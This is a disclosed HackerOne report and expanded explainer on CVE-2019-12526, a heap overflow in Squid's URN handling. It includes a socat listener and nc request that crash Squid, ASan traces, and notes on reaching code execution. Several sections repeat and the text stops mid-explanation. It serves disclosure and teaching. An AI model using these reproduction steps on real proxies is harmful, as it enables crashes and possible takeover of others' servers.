UrnState Heap Overflow
Squid's URN handling code copies a server response into a fixed-size buffer without checking remaining space, causing a heap overflow. An attacker could overflow adjacent memory or corrupt a pointer to trigger a use-after-free, potentially leading to remote code execution.
Originally disclosed on HackerOne
- Triaged in under an hour
- Fixed in 16 months
- Paid in 16 months
- Disclosed after 17 months
Summary:
When handling a URN Request an attacker controlled response can cause Squid to overflow a heap buffer. The buffer exist within a struct so not only does it allow an attacker to overflow adjacent memory, but also control a pointer that follows the buffer enabling them to free arbitrary memory. Paired with the Cache Manager bypass that I reported earlier, an attacker will know which addresses are valid. This can lead to RCE and was stated in the serverity of the Squid announce.
Squid Announce: http://www.squid-cache.org/Advisories/SQUID-2019_7.txt Assigned CVE-2019-12526
Steps To Reproduce:
You must add the following to your squid.conf to allow URN request
acl Safe_ports port 0
The squid child will crash even without Asan, but it'll automatically restart. You can check PIDs to confirm it did crash or you can build with ASan if you want to see the crash output.
$ export CFLAGS="${CFLAGS} -fsanitize=address -g"
$ export CXXFLAGS="${CXXFLAGS} ${CFLAGS}"
$./configure
I would also set the following ASan flags
export ASAN_OPTIONS="detect_leaks=false abort_on_error=true"
- Start Squid
./sbin/squid --foreground -d 100
- Start a server that will output 4096 bytes
$ socat TCP-LISTEN:8080,fork SYSTEM:"python -c \'print\(\\\"A\\\" * 4096)\'"
- Make a URN request to this server
$ echo -e "GET urn::@<attacker IP>:8080/ HTTP/1.1\r\n\r\n" |nc <squid hostname> 3128
=================================================================
==4723==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000067958 at pc 0x7f0d8a44deed bp 0x7ffff8eef4b0 sp 0x7ffff8eeec58
WRITE of size 81 at 0x621000067958 thread T0
#0 0x7f0d8a44deec (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x9feec)
#1 0x563906dc1389 in mem_hdr::copyAvailable(mem_node*, long, unsigned long, char*) const /home/j1/h4x/squid/releases/squid-4.8/src/stmem.cc:202
#2 0x563906dc1f58 in mem_hdr::copy(StoreIOBuffer const&) const /home/j1/h4x/squid/releases/squid-4.8/src/stmem.cc:262
#3 0x563906de76d7 in store_client::scheduleMemRead() /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:424
#4 0x563906de6f0c in store_client::scheduleRead() /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:391
#5 0x563906de691f in store_client::doCopy(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:352
#6 0x563906de6082 in storeClientCopy2 /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:306
#7 0x563906de4ac4 in storeClientCopyEvent /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:145
#8 0x563906c3cc8e in EventDialer::dial(AsyncCall&) /home/j1/h4x/squid/releases/squid-4.8/src/event.cc:41
#9 0x563906c3d7c6 in AsyncCallT<EventDialer>::fire() ../src/base/AsyncCall.h:145
#10 0x563906fd75cd in AsyncCall::make() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCall.cc:40
#11 0x563906fd90b5 in AsyncCallQueue::fireNext() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCallQueue.cc:56
#12 0x563906fd8bfc in AsyncCallQueue::fire() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCallQueue.cc:42
#13 0x563906c3e8ac in EventLoop::dispatchCalls() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:144
#14 0x563906c3e42e in EventLoop::runOnce() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:109
#15 0x563906c3e052 in EventLoop::run() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:83
#16 0x563906d35a0e in SquidMain(int, char**) /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1709
#17 0x563906d34102 in SquidMainSafe /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1417
#18 0x563906d3404f in main /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1405
#19 0x7f0d89723eaa in __libc_start_main (/lib64/libc.so.6+0x23eaa)
#20 0x563906ae3b59 in _start (/home/j1/h4x/squid/debug/squid-4.8/sbin/squid+0x484b59)
0x621000067958 is located 0 bytes to the right of 4184-byte region [0x621000066900,0x621000067958)
allocated by thread T0 here:
#0 0x7f0d8a4c59ae in __interceptor_calloc (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x1179ae)
#1 0x563907343217 in xcalloc /home/j1/h4x/squid/releases/squid-4.8/compat/xalloc.cc:83
#2 0x56390731d954 in MemPoolMalloc::allocate() /home/j1/h4x/squid/releases/squid-4.8/src/mem/PoolMalloc.cc:35
#3 0x563907317412 in MemImplementingAllocator::alloc() /home/j1/h4x/squid/releases/squid-4.8/src/mem/Pool.cc:204
#4 0x563906b62af5 in cbdataInternalAlloc(int, char const*, int) /home/j1/h4x/squid/releases/squid-4.8/src/cbdata.cc:238
#5 0x563906e36d1c in UrnState::operator new(unsigned long) /home/j1/h4x/squid/releases/squid-4.8/src/urn.cc:32
#6 0x563906e344c1 in urnStart(HttpRequest*, StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/urn.cc:211
#7 0x563906c609cb in FwdState::Start(RefCount<Comm::Connection> const&, StoreEntry*, HttpRequest*, RefCount<AccessLogEntry> const&) /home/j1/h4x/squid/releases/squid-4.8/src/FwdState.cc:373
#8 0x563906bac622 in clientReplyContext::processMiss() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:783
#9 0x563906bb947e in clientReplyContext::doGetMoreData() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1855
#10 0x563906bb76d1 in clientReplyContext::identifyFoundObject(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1707
#11 0x563906bae43c in clientReplyContext::created(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:937
#12 0x563906dc96e7 in StoreEntry::getPublicByRequest(StoreClient*, HttpRequest*) /home/j1/h4x/squid/releases/squid-4.8/src/store.cc:524
#13 0x563906bb716e in clientReplyContext::identifyStoreObject() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1667
#14 0x563906bb8cab in clientGetMoreData /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1813
#15 0x563906bead08 in clientStreamRead(clientStreamNode*, ClientHttpRequest*, StoreIOBuffer) /home/j1/h4x/squid/releases/squid-4.8/src/clientStream.cc:182
#16 0x563906bd20c6 in ClientHttpRequest::httpStart() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1542
#17 0x563906bd1c94 in ClientHttpRequest::processRequest() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1528
#18 0x563906bd528d in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1896
#19 0x563906bcc18a in ClientRequestContext::clientAccessCheckDone(allow_t const&) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:830
#20 0x563906bcacf5 in ClientRequestContext::clientAccessCheck2() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:729
#21 0x563906bd383f in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1781
#22 0x563906bcc18a in ClientRequestContext::clientAccessCheckDone(allow_t const&) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:830
#23 0x563906bcae38 in clientAccessCheckDoneWrapper /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:741
#24 0x563906f171b9 in ACLChecklist::checkCallback(allow_t) /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:169
#25 0x563906f15b23 in ACLChecklist::completeNonBlocking() /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:54
#26 0x563906f17c5b in ACLChecklist::nonBlockingCheck(void (*)(allow_t, void*), void*) /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:257
#27 0x563906bca91a in ClientRequestContext::clientAccessCheck() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:709
#28 0x563906bd3255 in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1753
#29 0x563906bc87b9 in ClientRequestContext::hostHeaderVerify() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:600
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x9feec)
Shadow bytes around the buggy address:
0x0c4280004ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4280004ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4280004ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4280004f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4280004f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4280004f20: 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa
0x0c4280004f30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4280004f40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4280004f50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4280004f60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4280004f70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==4723==ABORTING
Analysis
When handling an URN request from a user Squid makes a request to the remote server to retrieve a list of URLs. The response is handled via urnHandleReply.
The response from the server is buffered into urnState->reqbuf as Squid reads data in. This buffer is of length URN_REQBUF_SZ 4096
urnHandleReply can be called into multiple times as it waits for urlres_e->store_status != STORE_PENDING and the current offset into reqbuf held by urnState->reqofs is less than URN_REQBUF_SZ.
if (urlres_e->store_status == STORE_PENDING &&
urnState->reqofs < URN_REQBUF_SZ) {
tempBuffer.offset = urnState->reqofs;
tempBuffer.length = URN_REQBUF_SZ;
tempBuffer.data = urnState->reqbuf + urnState->reqofs;
storeClientCopy(urnState->sc, urlres_e,
tempBuffer,
urnHandleReply,
urnState);
return;
}
urnHandleReply will prepare a StoreIOBuffer object filling it with urnState buffer, reqofs, and how the length.
Unfortunately this tempBuffer has the total length of urnState->reqbuf URN_REQBUF_SZ, instead of the amount of data that is left. Whenever the response is being copied a second time into the buffer it can overflow. The attacker can control how much is overflowed by adjusting the response.
Impact
This overflow has 2 useful features for someone trying to exploit Squid. The first obvious one being overflowing into an adjacent memory region. An attacker that was able to align the heap in such a way that a virtual table pointer was after the urnState object could gain control of the instructor pointer, thus, gaining control of the Squid process.
The second is that before urnState overflows into that adjacent object it will overflow the pointer urlres within itself. This pointer later is free'd. An attacker with knowledge of current addresses in Squid could use this to trigger a Use-After-Free.
Context
Squid is a caching proxy. Among the URL schemes it understands is urn:, and when a client asks Squid for a URN, Squid does not simply forward the request. It makes its own request to the remote server named in the URN to retrieve a list of URLs, and it buffers the server's response inside a structure called UrnState. The buffer that holds this response is urnState->reqbuf, and its length is URN_REQBUF_SZ, which is 4096 bytes.
The report describes a heap buffer overflow in that handling path. The researcher assigned it CVE-2019-12526 and links the Squid advisory, SQUID-2019_7, which the researcher says rated the issue as allowing remote code execution. The report was filed under the Internet Bug Bounty programme on HackerOne and disclosed on 26 August 2021 with a CVSS score of 9.8.
Setup
The only configuration change needed is to allow URN requests by permitting port 0 in the Safe_ports ACL. Add this to squid.conf:
acl Safe_ports port 0
The researcher notes that the Squid child process will crash even without AddressSanitizer, but it restarts automatically. You can confirm the crash by watching PIDs, or build with ASan to see the crash output. The build flags used were:
$ export CFLAGS="${CFLAGS} -fsanitize=address -g"
$ export CXXFLAGS="${CXXFLAGS} ${CFLAGS}"
$./configure
and the ASan runtime options:
export ASAN_OPTIONS="detect_leaks=false abort_on_error=true"
The crash trace in the report comes from a build of Squid 4.8.
Finding it
The researcher traced what happens when Squid handles a URN request from a user. Squid contacts the remote server to retrieve a list of URLs, and the response is handled by urnHandleReply. As Squid reads data in, the response is buffered into urnState->reqbuf, a buffer of length URN_REQBUF_SZ (4096).
urnHandleReply can be entered more than once while it waits for urlres_e->store_status != STORE_PENDING and while the current offset into the buffer, urnState->reqofs, is less than URN_REQBUF_SZ. The code in that path is:
if (urlres_e->store_status == STORE_PENDING &&
urnState->reqofs < URN_REQBUF_SZ) {
tempBuffer.offset = urnState->reqofs;
tempBuffer.length = URN_REQBUF_SZ;
tempBuffer.data = urnState->reqbuf + urnState->reqofs;
storeClientCopy(urnState->sc, urlres_e,
tempBuffer,
urnHandleReply,
urnState);
return;
}
urnHandleReply prepares a StoreIOBuffer pointing at urnState->reqbuf at offset reqofs. The problem is the length: tempBuffer.length is set to the total size of the buffer, URN_REQBUF_SZ, rather than the amount of space actually left. When the response is copied into the buffer a second time, the copy can run past the end. The attacker controls how much is overflowed by adjusting the response.
Exploitation
Step 1: start Squid
Run Squid in the foreground with debug output:
./sbin/squid --foreground -d 100
Step 2: start a server that returns 4096 bytes
A small socat listener answers every connection with 4096 A characters:
$ socat TCP-LISTEN:8080,fork SYSTEM:"python -c \'print\(\\\"A\\\" * 4096)\'"
This is the attacker-controlled response that will be buffered into urnState->reqbuf.
Step 3: send a URN request
Send a URN request through the proxy, pointing the URN at the attacker's server:
$ echo -e "GET urn::@<attacker IP>:8080/ HTTP/1.1\r\n\r\n" |nc <squid hostname> 3128
The request targets port 3128 on the Squid host, Squid's usual proxy port. Squid then fetches the URL list from the attacker's server on port 8080.
What came back
With ASan enabled, the child process aborts with a heap-buffer-overflow. The report shows a WRITE of size 81 immediately to the right of a 4184-byte region that was allocated for the UrnState object:
==4723==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000067958 at pc 0x7f0d8a44deed bp 0x7ffff8eef4b0 sp 0x7ffff8eeec58
WRITE of size 81 at 0x621000067958 thread T0
#0 0x7f0d8a44deec (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x9feec)
#1 0x563906dc1389 in mem_hdr::copyAvailable(mem_node*, long, unsigned long, char*) const /home/j1/h4x/squid/releases/squid-4.8/src/stmem.cc:202
#2 0x563906dc1f58 in mem_hdr::copy(StoreIOBuffer const&) const /home/j1/h4x/squid/releases/squid-4.8/src/stmem.cc:262
#3 0x563906de76d7 in store_client::scheduleMemRead() /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:424
#4 0x563906de6f0c in store_client::scheduleRead() /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:391
#5 0x563906de691f in store_client::doCopy(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:352
#6 0x563906de6082 in storeClientCopy2 /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:306
#7 0x563906de4ac4 in storeClientCopyEvent /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:145
#8 0x563906c3cc8e in EventDialer::dial(AsyncCall&) /home/j1/h4x/squid/releases/squid-4.8/src/event.cc:41
#9 0x563906c3d7c6 in AsyncCallT<EventDialer>::fire() ../src/base/AsyncCall.h:145
#10 0x563906fd75cd in AsyncCall::make() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCall.cc:40
#11 0x563906fd90b5 in AsyncCallQueue::fireNext() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCallQueue.cc:56
#12 0x563906fd8bfc in AsyncCallQueue::fire() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCallQueue.cc:42
#13 0x563906c3e8ac in EventLoop::dispatchCalls() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:144
#14 0x563906c3e42e in EventLoop::runOnce() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:109
#15 0x563906c3e052 in EventLoop::run() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:83
#16 0x563906d35a0e in SquidMain(int, char**) /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1709
#17 0x563906d34102 in SquidMainSafe /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1417
#18 0x563906d3404f in main /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1405
#19 0x7f0d89723eaa in __libc_start_main (/lib64/libc.so.6+0x23eaa)
#20 0x563906ae3b59 in _start (/home/j1/h4x/squid/debug/squid-4.8/sbin/squid+0x484b59)
0x621000067958 is located 0 bytes to the right of 4184-byte region [0x621000066900,0x621000067958)
allocated by thread T0 here:
#0 0x7f0d8a4c59ae in __interceptor_calloc (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x1179ae)
#1 0x563907343217 in xcalloc /home/j1/h4x/squid/releases/squid-4.8/compat/xalloc.cc:83
#2 0x56390731d954 in MemPoolMalloc::allocate() /home/j1/h4x/squid/releases/squid-4.8/src/mem/PoolMalloc.cc:35
#3 0x563907317412 in MemImplementingAllocator::alloc() /home/j1/h4x/squid/releases/squid-4.8/src/mem/Pool.cc:204
#4 0x563906b62af5 in cbdataInternalAlloc(int, char const*, int) /home/j1/h4x/squid/releases/squid-4.8/src/cbdata.cc:238
#5 0x563906e36d1c in UrnState::operator new(unsigned long) /home/j1/h4x/squid/releases/squid-4.8/src/urn.cc:32
#6 0x563906e344c1 in urnStart(HttpRequest*, StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/urn.cc:211
#7 0x563906c609cb in FwdState::Start(RefCount<Comm::Connection> const&, StoreEntry*, HttpRequest*, RefCount<AccessLogEntry> const&) /home/j1/h4x/squid/releases/squid-4.8/src/FwdState.cc:373
#8 0x563906bac622 in clientReplyContext::processMiss() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:783
#9 0x563906bb947e in clientReplyContext::doGetMoreData() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1855
#10 0x563906bb76d1 in clientReplyContext::identifyFoundObject(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1707
#11 0x563906bae43c in clientReplyContext::created(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:937
#12 0x563906dc96e7 in StoreEntry::getPublicByRequest(StoreClient*, HttpRequest*) /home/j1/h4x/squid/releases/squid-4.8/src/store.cc:524
#13 0x563906bb716e in clientReplyContext::identifyStoreObject() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1667
#14 0x563906bb8cab in clientGetMoreData /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1813
#15 0x563906bead08 in clientStreamRead(clientStreamNode*, ClientHttpRequest*, StoreIOBuffer) /home/j1/h4x/squid/releases/squid-4.8/src/clientStream.cc:182
#16 0x563906bd20c6 in ClientHttpRequest::httpStart() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1542
#17 0x563906bd1c94 in ClientHttpRequest::processRequest() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1528
#18 0x563906bd528d in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1896
#19 0x563906bcc18a in ClientRequestContext::clientAccessCheckDone(allow_t const&) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:830
#20 0x563906bcacf5 in ClientRequestContext::clientAccessCheck2() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:729
#21 0x563906bd383f in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1781
#22 0x563906bcc18a in ClientRequestContext::clientAccessCheckDone(allow_t const&) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:830
#23 0x563906bcae38 in clientAccessCheckDoneWrapper /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:741
#24 0x563906f171b9 in ACLChecklist::checkCallback(allow_t) /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:169
#25 0x563906f15b23 in ACLChecklist::completeNonBlocking() /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:54
#26 0x563906f17c5b in ACLChecklist::nonBlockingCheck(void (*
The write happens in mem_hdr::copyAvailable via mem_hdr::copy, reached from store_client::scheduleMemRead and the store client copy path. The allocation stack shows the region was allocated through cbdataInternalAlloc from UrnState::operator new in urn.cc, called from urnStart, which is reached from FwdState::Start after a cache miss in clientReplyContext::processMiss.
Root cause
urnHandleReply builds a StoreIOBuffer whose data pointer is urnState->reqbuf + urnState->reqofs but whose length is the full URN_REQBUF_SZ rather than URN_REQBUF_SZ - urnState->reqofs. On a later pass, when part of the buffer is already filled, the copy is told there is more room than there is, and the response data is written past the end of reqbuf. Because the attacker controls the response body, they control how far past the end the write goes.
The buffer lives inside the UrnState struct, so the overflow does not just spill into adjacent heap memory: it first overwrites fields of the same object, including the urlres pointer that follows the buffer and is later freed.
Impact
The researcher identifies two properties that make the overflow useful.
The first is the straightforward one: overflowing into an adjacent memory region. If an attacker can align the heap so that a virtual table pointer sits after the UrnState object, they could gain control of the instruction pointer and thereby control the Squid process.
The second is that, before reaching any adjacent object, the overflow passes over the urlres pointer inside UrnState, which is later freed. An attacker who knows current addresses in Squid could use this to trigger a use-after-free. The researcher notes that this pairs with a Cache Manager bypass reported earlier, which lets the attacker learn which addresses are valid. Together the researcher says this can lead to RCE, as stated in the severity of the Squid advisory.
Fix
The report does not describe the patch. The defect is the length passed to storeClientCopy: it is the full buffer size rather than the amount of data left.
Variants to test
- Send a URN response larger than 4096 bytes and watch for a child process restart or an ASan abort. A positive result is a heap-buffer-overflow report whose allocation stack passes through
UrnState::operator new. - Vary the response size to see how much is written past the end.
- Send the response in chunks so that
urnHandleReplyis entered several times with a non-zeroreqofs. - Check whether the
urlrespointer insideUrnStateis overwritten before the write reaches adjacent memory.
What happened, in plain words
Squid is a piece of software that sits between the computers in an office and the internet. It is called a caching proxy: when someone visits a website, the request goes to Squid first, Squid fetches the page, keeps a copy (a cache) so the next person asking for the same page gets it faster, and passes the page back. Many schools, companies and internet providers run Squid.
Squid understands several kinds of addresses, called URL schemes. You have probably seen http:// and https://. Squid also understands urn:. A URN is a name for something rather than a location, and when a client asks Squid for a URN, Squid does not simply pass the request along. It makes its own request to the remote server named in the URN to retrieve a list of URLs, and it stores the server's answer in a small area of memory while it works.
That memory area is where the bug lives. The area is a fixed size, 4096 bytes, and it sits inside a larger bundle of data that Squid keeps about the request. When the remote server sends back more data than fits, and Squid copies it in a second time, the copy runs past the end of the 4096-byte area and starts overwriting whatever comes next in memory. This is called a heap buffer overflow. The researcher who found it got the identifier CVE-2019-12526, and the Squid advisory SQUID-2019_7 is linked from the report. The researcher says the advisory rated the issue as allowing remote code execution, meaning an attacker could make Squid run code of their choosing. The report was filed under the Internet Bug Bounty programme on HackerOne and disclosed on 26 August 2021 with a CVSS score of 9.8.
A few words before we go further, because they come up constantly:
- Memory is where a running program keeps its working data, a bit like a very long row of numbered pigeonholes. Each pigeonhole holds one byte and has an address (a number).
- The heap is the part of memory a program uses for data whose size is decided while it runs, such as a buffer that grows as a network response arrives.
- A buffer is a reserved stretch of memory meant to hold data, like a row of seats in a cinema. If more people arrive than there are seats, they spill into the next row.
- A buffer overflow is exactly that spill: writing more data than the buffer was sized for, so the extra bytes land in memory that belongs to something else.
- A struct is a way of grouping several related pieces of data under one name, like a form with several fields. In memory the fields sit next to each other, so overflowing one field can damage the next.
- A pointer is a value that holds the address of something else, like a note saying "the answer is in pigeonhole 4711". If an attacker can change a pointer, they can make the program look somewhere it should not.
- Remote code execution (RCE) means an attacker can make the program run commands of their choosing, usually the worst outcome for a server.
- A CVE is a public catalogue number for a known vulnerability, so people can look it up and track fixes.
- CVSS is a scoring system for how severe a vulnerability is; 9.8 out of 10 is in the critical band.
Context
Squid is a caching proxy. Among the URL schemes it understands is urn:, and when a client asks Squid for a URN, Squid does not simply forward the request. It makes its own request to the remote server named in the URN to retrieve a list of URLs, and it buffers the server's response inside a structure called UrnState. The buffer that holds this response is urnState->reqbuf, and its length is URN_REQBUF_SZ, which is 4096 bytes.
In plain terms: UrnState is the form with several fields that Squid fills in for each URN request. One of those fields, reqbuf, is the 4096-byte holding area for the remote server's answer. The name URN_REQBUF_SZ is just a label the programmers gave to the number 4096 so it appears in one place in the code instead of being typed everywhere.
The report describes a heap buffer overflow in that handling path. The researcher assigned it CVE-2019-12526 and links the Squid advisory, SQUID-2019_7, which the researcher says rated the issue as allowing remote code execution.
Setup
The only configuration change needed is to allow URN requests by permitting port 0 in the Safe_ports ACL. Add this to squid.conf:
acl Safe_ports port 0
What this line means, piece by piece:
squid.confis Squid's settings file, the equivalent of a preferences screen. You edit it in a text editor and restart Squid for changes to take effect.aclstands for access control list: a named rule that decides what is allowed.Safe_portsis the name of an existing rule in Squid's default configuration. It lists the network ports Squid is willing to talk to. A port is a numbered door on a computer; a single machine can run many services, each listening on its own door number. Web servers usually listen on 80 or 443.port 0adds door number 0 to that list. Port 0 is not a real service port, so this is a deliberately odd setting that widens what Squid will accept.
The researcher notes that the Squid child process will crash even without AddressSanitizer, but it restarts automatically. You can confirm the crash by watching PIDs, or build with ASan to see the crash output. The build flags used were:
$ export CFLAGS="${CFLAGS} -fsanitize=address -g"
$ export CXXFLAGS="${CXXFLAGS} ${CFLAGS}"
$./configure
Line by line:
export CFLAGS=...sets an environment variable. Environment variables are named values that programs read when they start, like sticky notes passed to a program.CFLAGSholds options for the C compiler, the tool that turns source code into a runnable program.-fsanitize=addresstells the compiler to build in AddressSanitizer, usually shortened to ASan. ASan is a debugging helper that watches every memory access and shouts loudly, with a detailed report, the moment a program reads or writes outside a buffer. Without it, an overflow may go unnoticed or cause a vague crash.-gtells the compiler to keep extra information so crash reports can name the functions and source files involved, instead of showing only raw addresses.CXXFLAGSis the same idea for the C++ compiler. Here it is set to whatever was already there plus the C flags, so both compilers get the same options../configureis the script that inspects your machine and prepares the build. It reads those environment variables, so running it after setting them is what makes the ASan build happen.
and the ASan runtime options:
export ASAN_OPTIONS="detect_leaks=false abort_on_error=true"
ASAN_OPTIONSis read by ASan itself when the program runs, not when it is compiled.detect_leaks=falseturns off leak checking. A memory leak is memory a program forgets to give back; it is a separate kind of bug and would only add noise here.abort_on_error=truemakes the program stop immediately when ASan finds a problem, so the report is printed and the process does not carry on in a damaged state.
The crash trace in the report comes from a build of Squid 4.8.
Finding it
The researcher traced what happens when Squid handles a URN request from a user. Squid contacts the remote server to retrieve a list of URLs, and the response is handled by urnHandleReply. As Squid reads data in, the response is buffered into urnState->reqbuf, a buffer of length URN_REQBUF_SZ (4096).
urnHandleReply can be entered more than once while it waits for urlres_e->store_status != STORE_PENDING and while the current offset into the buffer, urnState->reqofs, is less than URN_REQBUF_SZ. The code in that path is:
if (urlres_e->store_status == STORE_PENDING &&
urnState->reqofs < URN_REQBUF_SZ) {
tempBuffer.offset = urnState->reqofs;
tempBuffer.length = URN_REQBUF_SZ;
tempBuffer.data = urnState->reqbuf + urnState->reqofs;
storeClientCopy(urnState->sc, urlres_e,
tempBuffer,
urnHandleReply,
urnState);
return;
}
What each part does:
if (urlres_e->store_status == STORE_PENDING && ...)is a check on whether the remote answer is still arriving.STORE_PENDINGmeans "not finished yet". The&&means both conditions must be true.urnState->reqofs < URN_REQBUF_SZchecks whether the write position,reqofs(short for request offset), is still inside the 4096-byte buffer.reqofsis like a bookmark showing how much of the buffer is already filled.tempBuffer.offset = urnState->reqofs;says where in the destination the incoming data should start: at the bookmark.tempBuffer.length = URN_REQBUF_SZ;says how much room there is. This is the buggy line: it always claims the full 4096 bytes are free, even when part of the buffer is already used.tempBuffer.data = urnState->reqbuf + urnState->reqofs;gives the actual memory address to write to: the start of the buffer plus the bookmark. Adding a number to a pointer moves that many bytes forward, like counting seats along a row.storeClientCopy(...)asks Squid's storage layer to copy data from the remote answer into that address, with that length, and to callurnHandleReplyagain when it is done.return;leaves the function for now; the work continues when the copy finishes.
urnHandleReply prepares a StoreIOBuffer pointing at urnState->reqbuf at offset reqofs. The problem is the length: tempBuffer.length is set to the total size of the buffer, URN_REQBUF_SZ, rather than the amount of space actually left. When the response is copied into the buffer a second time, the copy can run past the end. The attacker controls how much is overflowed by adjusting the response.
A StoreIOBuffer is a small package of three things: where to write, how much to write, and where to start. Think of a delivery note that says "put 4096 boxes starting at shelf position 3000". If the shelf only has room for 1096 more boxes, the rest go on the floor. On a later pass the bookmark has moved, but the note still says 4096, and the copy trusts the note.
Exploitation
Step 1: start Squid
Run Squid in the foreground with debug output:
./sbin/squid --foreground -d 100
./sbin/squidruns the Squid program from the build directory, the folder where compiling put it.--foregroundkeeps Squid attached to your terminal instead of detaching into the background. That way you see its output live and can stop it with Ctrl+C.-d 100sets the debug level very high, so Squid prints a lot of detail about what it is doing. This is useful when you are watching for a crash.
Step 2: start a server that returns 4096 bytes
A small socat listener answers every connection with 4096 A characters:
$ socat TCP-LISTEN:8080,fork SYSTEM:"python -c \'print\(\\\"A\\\" * 4096)\'"
